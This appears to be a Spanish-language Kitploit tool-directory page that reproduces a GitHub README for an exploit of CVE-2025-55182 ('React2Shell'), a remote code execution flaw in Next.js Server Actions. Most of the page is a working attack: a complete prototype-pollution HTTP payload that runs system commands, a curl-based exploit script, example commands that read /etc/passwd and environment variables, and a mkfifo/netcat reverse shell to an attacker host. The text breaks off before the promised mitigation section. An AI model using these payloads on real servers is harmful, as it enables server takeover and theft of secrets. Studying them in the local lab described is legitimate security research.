Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
react2shell-exploit — CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilizan React Server Components (RSC) y Server Actions. | Kitploit
Herramientas/GitHubGitHub/yannisduvignau/react2shell-exploit
ExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilizan React Server Components (RSC) y Server Actions.

Ver Repositorio
11hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 – React2Shell

Ejecución Remota de Código en Next.js

⚠️ Descargo de responsabilidad: Esta documentación se proporciona solo con fines educativos y de investigación de seguridad. Cualquier uso no autorizado de estas técnicas contra sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas es ilegal.


📋 Tabla de contenidos

  1. Visión general
  2. Cómo funciona
  3. Instalación y configuración
  4. Explotación paso a paso
  5. Resultados e impacto
  6. Estrategias de mitigación

Visión general

CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilicen:

  • React Server Components (RSC)
  • Server Actions

¿Por qué es peligroso?

Un atacante puede lograr Ejecución Remota de Código (RCE) en el servidor explotando:

  1. Deserialización insegura de payloads RSC
  2. Contaminación de prototipos mediante __proto__ y constructor
  3. Rutas de ejecución dinámica en el runtime del servidor de Next.js

Consecuencia: Se pueden ejecutar comandos arbitrarios del sistema con los privilegios del proceso de Node.js.


Cómo funciona

Etapa 1: Protocolo RSC de Next.js

Next.js utiliza un protocolo multipart/form-data propietario para la comunicación entre cliente y servidor:

  • El cliente envía React Server Components al servidor
  • El servidor los deserializa y procesa
  • El resultado se devuelve al cliente
Cliente (Navegador)
    ↓
[payload RSC multipart/form-data]
    ↓
Servidor Next.js
    ↓
Deserialización + Ejecución
    ↓
Respuesta

Etapa 2: La debilidad - Deserialización insegura

La vulnerabilidad existe porque:

  1. Los datos controlados por el usuario no se validan antes de la deserialización
  2. Se permite el acceso a la cadena de prototipos (__proto__, constructor)
  3. Ciertos campos se evalúan dinámicamente durante el procesamiento de la solicitud

Etapa 3: Ataque de contaminación de prototipos

Un atacante puede crear un payload que modifique propiedades internas de objetos:

{
  "then": "$1:__proto__:then",  // Apunta a la cadena de prototipos
  "_response": {
    "_prefix": "código malicioso aquí"  // Inyección de código
  }
}

Al explotar __proto__, el atacante contamina el prototipo de los objetos JavaScript, afectando a todos los objetos que heredan de él.

Etapa 4: Inyección de código

Dentro del campo _prefix, el atacante inyecta código JavaScript que:

  1. Accede al módulo de Node.js mediante process.mainModule.require()
  2. Carga el módulo child_process
  3. Ejecuta comandos del sistema usando execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Etapa 5: Extracción del resultado

El resultado del comando se oculta en la respuesta de error:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js devuelve este error al cliente y la salida del comando es visible en el campo digest.


Instalación y configuración

Requisitos previos

  • Node.js 20
  • Burp Suite (o herramienta similar para interceptación de solicitudes)
  • curl o Postman (para enviar payloads)

Paso 1: Clonar e instalar el servidor vulnerable

# Clonar el PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Instalar Node.js 20
nvm install 20
nvm use 20

# Instalar dependencias
cd test-server
npm install

Paso 2: Iniciar el servidor

npm run dev

El servidor ahora es accesible en:

http://localhost:3000

Paso 3: Verificar que el servidor está funcionando

curl http://localhost:3000/

En esta etapa, el servidor se comporta con normalidad.


Explotación paso a paso

Enfoque 1: Usando Burp Suite (Interceptación manual)

Paso 1: Activar la interceptación

  1. Abra Burp Suite
  2. Vaya a Proxy → Intercept
  3. Active Intercept is on
  4. Acceda a http://localhost:3000/ en su navegador

Paso 2: Interceptar la solicitud

Se interceptará una solicitud GET. Envíela a la pestaña Repeater:

  1. Haga clic derecho → Send to Repeater
  2. Vaya a la pestaña Repeater

Paso 3: Reemplazar con payload malicioso

Reemplace toda la solicitud con el siguiente payload:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Paso 4: Enviar la solicitud

Haga clic en Send


Enfoque 2: Script de explotación automatizado

Cree un archivo exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Construir el payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Reemplazar el comando
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Enviar la solicitud
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Hágalo ejecutable:

chmod +x exploit.sh
./exploit.sh

Comandos de ejemplo

Listar archivos y directorios

COMMAND="ls -la /"

Obtener usuario actual

COMMAND="whoami"

Leer un archivo

COMMAND="cat /etc/passwd"

Verificar conexiones de red

COMMAND="netstat -tuln"

Obtener variables de entorno

COMMAND="env"

Reverse Shell (Acceso completo al servidor)

Para obtener acceso interactivo completo a la shell, use una reverse shell.

En la máquina atacante: Escuchar conexiones

ncat -lvnp 9009

O con netcat:

nc -lvnp 9009

En el objetivo: Enviar payload de reverse shell

Modifique el payload con el siguiente comando (reemplace <ATTACKER_IP> con su dirección IP):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

El payload completo queda:

Descargar herramienta